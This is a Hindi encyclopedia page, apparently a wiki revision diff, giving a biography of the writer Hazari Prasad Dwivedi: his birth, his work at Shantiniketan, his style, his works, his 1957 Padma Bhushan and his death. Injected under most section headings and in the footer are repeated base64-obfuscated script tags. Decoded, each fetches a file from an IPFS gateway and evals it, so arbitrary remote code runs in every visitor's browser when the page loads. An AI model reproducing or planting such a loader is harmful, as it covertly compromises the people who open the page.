"हज़ारी प्रसाद द्विवेदी" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
पंक्ति 5: पंक्ति 5:
 
{{main|हज़ारी प्रसाद द्विवेदी का परिचय}}
 
{{main|हज़ारी प्रसाद द्विवेदी का परिचय}}
 
हज़ारी प्रसाद द्विवेदी का जन्म 19 अगस्त, 1907 ([[श्रावण]], [[शुक्ल पक्ष]], [[एकादशी]], [[संवत]] [[1964]]) में बलिया ज़िले के 'आरत दुबे का छपरा' [[गाँव]] के एक प्रतिष्ठित सरयूपारीण [[ब्राह्मण]] कुल में हुआ था। उनके [[पिता]] पण्डित अनमोल द्विवेदी [[संस्कृत]] के प्रकाण्ड पंडित थे। द्विवेदी जी के प्रपितामह ने [[काशी]] में कई [[वर्ष|वर्षों]] तक रहकर ज्योतिष का गम्भीर अध्ययन किया था। द्विवेदी जी की [[माता]] भी प्रसिद्ध पण्डित कुल की [[कन्या]] थीं। इस तरह बालक द्विवेदी को [[संस्कृत]] के अध्ययन का संस्कार विरासत में ही मिल गया था।
 
हज़ारी प्रसाद द्विवेदी का जन्म 19 अगस्त, 1907 ([[श्रावण]], [[शुक्ल पक्ष]], [[एकादशी]], [[संवत]] [[1964]]) में बलिया ज़िले के 'आरत दुबे का छपरा' [[गाँव]] के एक प्रतिष्ठित सरयूपारीण [[ब्राह्मण]] कुल में हुआ था। उनके [[पिता]] पण्डित अनमोल द्विवेदी [[संस्कृत]] के प्रकाण्ड पंडित थे। द्विवेदी जी के प्रपितामह ने [[काशी]] में कई [[वर्ष|वर्षों]] तक रहकर ज्योतिष का गम्भीर अध्ययन किया था। द्विवेदी जी की [[माता]] भी प्रसिद्ध पण्डित कुल की [[कन्या]] थीं। इस तरह बालक द्विवेदी को [[संस्कृत]] के अध्ययन का संस्कार विरासत में ही मिल गया था।
 
 
==कार्यक्षेत्र==
 
==कार्यक्षेत्र==
 
{{main|हज़ारी प्रसाद द्विवेदी का कार्यक्षेत्र}}
 
{{main|हज़ारी प्रसाद द्विवेदी का कार्यक्षेत्र}}
 
सन [[1930]] में इंटर की परीक्षा उत्तीर्ण करने बाद द्विवेदी जी प्राध्यापक होकर [[शान्ति निकेतन]] चले गये। सन् [[1940]] से [[1950]] ई. तक वे वहाँ पर हिन्दी भवन के निर्देशक के पद पर काम करते रहे। [[शान्ति निकेतन]] में [[रवीन्द्र नाथ टैगोर]] के घनिष्ठ सम्पर्क में आने पर नये मानवतावाद के प्रति उनके मन में जिस आस्था की प्रतिष्ठा हुई, वह उनके भावी विकास में बहुत ही सहायक बनी। [[क्षितिजमोहन सेन]], विधुशेखर भट्टाचार्य और [[बनारसीदास चतुर्वेदी]] की सन्निकटता से भी उनकी साहित्यिक गतिविधि में अधिक सक्रियता आयी।
 
सन [[1930]] में इंटर की परीक्षा उत्तीर्ण करने बाद द्विवेदी जी प्राध्यापक होकर [[शान्ति निकेतन]] चले गये। सन् [[1940]] से [[1950]] ई. तक वे वहाँ पर हिन्दी भवन के निर्देशक के पद पर काम करते रहे। [[शान्ति निकेतन]] में [[रवीन्द्र नाथ टैगोर]] के घनिष्ठ सम्पर्क में आने पर नये मानवतावाद के प्रति उनके मन में जिस आस्था की प्रतिष्ठा हुई, वह उनके भावी विकास में बहुत ही सहायक बनी। [[क्षितिजमोहन सेन]], विधुशेखर भट्टाचार्य और [[बनारसीदास चतुर्वेदी]] की सन्निकटता से भी उनकी साहित्यिक गतिविधि में अधिक सक्रियता आयी।
 
 
==भाषा-शैली==
 
==भाषा-शैली==
 
{{main|हज़ारी प्रसाद द्विवेदी की भाषा-शैली}}
 
{{main|हज़ारी प्रसाद द्विवेदी की भाषा-शैली}}
पंक्ति 15: पंक्ति 13:
 
#प्राँजल व्यावहारिक भाषा
 
#प्राँजल व्यावहारिक भाषा
 
#संस्कृतनिष्ठ शास्त्रीय भाषा
 
#संस्कृतनिष्ठ शास्त्रीय भाषा
 
प्रथम रूप द्विवेदी जी के सामान्य निबंधों में मिलता है। इस प्रकार की भाषा में [[उर्दू]] और [[अंग्रेज़ी]] के शब्दों का भी समावेश हुआ है। द्वितीय शैली उपन्यासों और सैद्धांतिक आलोचना के क्रम में परिलक्षित होती है। द्विवेदी जी की विषय प्रतिपादन की शैली अध्यापकीय है। शास्त्रीय भाषा रचने के दौरान भी प्रवाह खण्डित नहीं होता।
 
 
 
==वर्ण्य विषय==
 
==वर्ण्य विषय==
 
{{main|हज़ारी प्रसाद द्विवेदी के वर्ण्य-विषय}}
 
{{main|हज़ारी प्रसाद द्विवेदी के वर्ण्य-विषय}}
पंक्ति 23: पंक्ति 18:
 
#विचारात्मक निबंध
 
#विचारात्मक निबंध
 
#आलोचनात्मक निबंध
 
#आलोचनात्मक निबंध
 
 
==कृतियाँ==
 
==कृतियाँ==
 
{{main|हज़ारी प्रसाद द्विवेदी की कृतियाँ}}
 
{{main|हज़ारी प्रसाद द्विवेदी की कृतियाँ}}
पंक्ति 29: पंक्ति 23:
 
====हिन्दी साहित्य की भूमिका====
 
====हिन्दी साहित्य की भूमिका====
 
'हिन्दी साहित्य की भूमिका' उनके सिद्धान्तों की बुनियादी पुस्तक है। जिसमें साहित्य को एक अविच्छिन्न परम्परा तथा उसमें प्रतिफलित क्रिया-प्रतिक्रियाओं के रूप में देखा गया है। नवीन दिशा-निर्देश की दृष्टि से इस पुस्तक का ऐतिहासिक महत्व है।
 
'हिन्दी साहित्य की भूमिका' उनके सिद्धान्तों की बुनियादी पुस्तक है। जिसमें साहित्य को एक अविच्छिन्न परम्परा तथा उसमें प्रतिफलित क्रिया-प्रतिक्रियाओं के रूप में देखा गया है। नवीन दिशा-निर्देश की दृष्टि से इस पुस्तक का ऐतिहासिक महत्व है।
 
+
==उपलब्धियाँ तथा पुरस्कार==
==पुरस्कार==
+
{{main|हज़ारी प्रसाद द्विवेदी की उपलब्धियाँ तथा पुरस्कार}}
हज़ारी प्रसाद द्विवेदी जी को [[भारत सरकार]] ने उनकी विद्वत्ता और साहित्यिक सेवाओं को ध्यान में रखते हुए साहित्य एवं शिक्षा के क्षेत्र में सन् [[1957]] में [[पद्म भूषण]] से सम्मानित किया गया था।
+
प्रमुख रूप से आलोचक, इतिहासकार और निबंधकार के रूप में प्रख्यात द्विवेजी जी की कवि हृदयता यूं तो उनके [[उपन्यास]], [[निबंध]] और आलोचना के साथ-साथ [[इतिहास]] में भी देखी जा सकती है, लेकिन एक तथ्य यह भी है कि उन्होंने बड़ी मात्रा में कविताएँ लिखी हैं। हज़ारी प्रसाद द्विवेदी को [[भारत सरकार]] ने उनकी विद्वत्ता और साहित्यिक सेवाओं को ध्यान में रखते हुए साहित्य एवं शिक्षा के क्षेत्र में [[1957]] में '[[पद्म भूषण]]' से सम्मानित किया था।
 
 
 
==मृत्यु==
 
==मृत्यु==
 
हज़ारी प्रसाद द्विवेदी जी की मृत्यु [[19 मई]], [[1979]] ई. में हुई थी।
 
हज़ारी प्रसाद द्विवेदी जी की मृत्यु [[19 मई]], [[1979]] ई. में हुई थी।

07:03, 21 जुलाई 2017 का अवतरण

हज़ारी प्रसाद द्विवेदी विषय सूची
हज़ारी प्रसाद द्विवेदी
Hazari Prasad Dwivedi.JPG
पूरा नाम डॉ. हज़ारी प्रसाद द्विवेदी
जन्म 19 अगस्त, 1907 ई.
जन्म भूमि गाँव 'आरत दुबे का छपरा', बलिया ज़िला, उत्तर प्रदेश
मृत्यु 19 मई, 1979
कर्म भूमि वाराणसी
कर्म-क्षेत्र निबन्धकार, उपन्यासकार, अध्यापक, सम्पादक
मुख्य रचनाएँ सूर साहित्य, बाणभट्ट, कबीर, अशोक के फूल, हिन्दी साहित्य की भूमिका, हिन्दी साहित्य का आदिकाल, नाथ सम्प्रदाय, पृथ्वीराज रासो
विषय निबन्ध, कहानी, उपन्यास, आलोचना
भाषा हिन्दी
विद्यालय काशी हिन्दू विश्वविद्यालय
शिक्षा बारहवीं
पुरस्कार-उपाधि पद्म भूषण
नागरिकता भारतीय
अन्य जानकारी द्विवेदी जी कई वर्षों तक काशी नागरी प्रचारिणी सभा के उपसभापति, 'खोज विभाग' के निर्देशक तथा 'नागरी प्रचारिणी पत्रिका' के सम्पादक रहे हैं।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

डॉ. हज़ारी प्रसाद द्विवेदी (अंग्रेज़ी: Hazari Prasad Dwivedi, जन्म: 19 अगस्त, 1907 - मृत्यु: 19 मई, 1979) हिन्दी के शीर्षस्थ साहित्यकारों में से हैं। वे उच्चकोटि के निबन्धकार, उपन्यासकार, आलोचक, चिन्तक तथा शोधकर्ता हैं। साहित्य के इन सभी क्षेत्रों में द्विवेदी जी अपनी प्रतिभा और विशिष्ट कर्तव्य के कारण विशेष यश के भागी हुए हैं। द्विवेदी जी का व्यक्तित्व गरिमामय, चित्तवृत्ति उदार और दृष्टिकोण व्यापक है। द्विवेदी जी की प्रत्येक रचना पर उनके इस व्यक्तित्व की छाप देखी जा सकती है।

परिचय

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

हज़ारी प्रसाद द्विवेदी का जन्म 19 अगस्त, 1907 (श्रावण, शुक्ल पक्ष, एकादशी, संवत 1964) में बलिया ज़िले के 'आरत दुबे का छपरा' गाँव के एक प्रतिष्ठित सरयूपारीण ब्राह्मण कुल में हुआ था। उनके पिता पण्डित अनमोल द्विवेदी संस्कृत के प्रकाण्ड पंडित थे। द्विवेदी जी के प्रपितामह ने काशी में कई वर्षों तक रहकर ज्योतिष का गम्भीर अध्ययन किया था। द्विवेदी जी की माता भी प्रसिद्ध पण्डित कुल की कन्या थीं। इस तरह बालक द्विवेदी को संस्कृत के अध्ययन का संस्कार विरासत में ही मिल गया था।

कार्यक्षेत्र

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

सन 1930 में इंटर की परीक्षा उत्तीर्ण करने बाद द्विवेदी जी प्राध्यापक होकर शान्ति निकेतन चले गये। सन् 1940 से 1950 ई. तक वे वहाँ पर हिन्दी भवन के निर्देशक के पद पर काम करते रहे। शान्ति निकेतन में रवीन्द्र नाथ टैगोर के घनिष्ठ सम्पर्क में आने पर नये मानवतावाद के प्रति उनके मन में जिस आस्था की प्रतिष्ठा हुई, वह उनके भावी विकास में बहुत ही सहायक बनी। क्षितिजमोहन सेन, विधुशेखर भट्टाचार्य और बनारसीदास चतुर्वेदी की सन्निकटता से भी उनकी साहित्यिक गतिविधि में अधिक सक्रियता आयी।

भाषा-शैली

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

द्विवेदी जी की भाषा परिमार्जित खड़ी बोली है। उन्होंने भाव और विषय के अनुसार भाषा का चयनित प्रयोग किया है। उनकी भाषा के दो रूप दिखलाई पड़ते हैं-

  1. प्राँजल व्यावहारिक भाषा
  2. संस्कृतनिष्ठ शास्त्रीय भाषा

वर्ण्य विषय

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

द्विवेदी जी के निबंधों के विषय भारतीय संस्कृति, इतिहास, ज्योतिष, साहित्य, विविध धर्मों और संप्रदायों का विवेचन आदि है। वर्गीकरण की दृष्टि से द्विवेदी जी के निबंध दो भागों में विभाजित किए जा सकते हैं-

  1. विचारात्मक निबंध
  2. आलोचनात्मक निबंध

कृतियाँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

हज़ारी प्रसाद द्विवेदी जी की कुछ कृतियाँ निम्नलिखित हैं-

हिन्दी साहित्य की भूमिका

'हिन्दी साहित्य की भूमिका' उनके सिद्धान्तों की बुनियादी पुस्तक है। जिसमें साहित्य को एक अविच्छिन्न परम्परा तथा उसमें प्रतिफलित क्रिया-प्रतिक्रियाओं के रूप में देखा गया है। नवीन दिशा-निर्देश की दृष्टि से इस पुस्तक का ऐतिहासिक महत्व है।

उपलब्धियाँ तथा पुरस्कार

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

प्रमुख रूप से आलोचक, इतिहासकार और निबंधकार के रूप में प्रख्यात द्विवेजी जी की कवि हृदयता यूं तो उनके उपन्यास, निबंध और आलोचना के साथ-साथ इतिहास में भी देखी जा सकती है, लेकिन एक तथ्य यह भी है कि उन्होंने बड़ी मात्रा में कविताएँ लिखी हैं। हज़ारी प्रसाद द्विवेदी को भारत सरकार ने उनकी विद्वत्ता और साहित्यिक सेवाओं को ध्यान में रखते हुए साहित्य एवं शिक्षा के क्षेत्र में 1957 में 'पद्म भूषण' से सम्मानित किया था।

मृत्यु

हज़ारी प्रसाद द्विवेदी जी की मृत्यु 19 मई, 1979 ई. में हुई थी।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

हज़ारी प्रसाद द्विवेदी विषय सूची

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>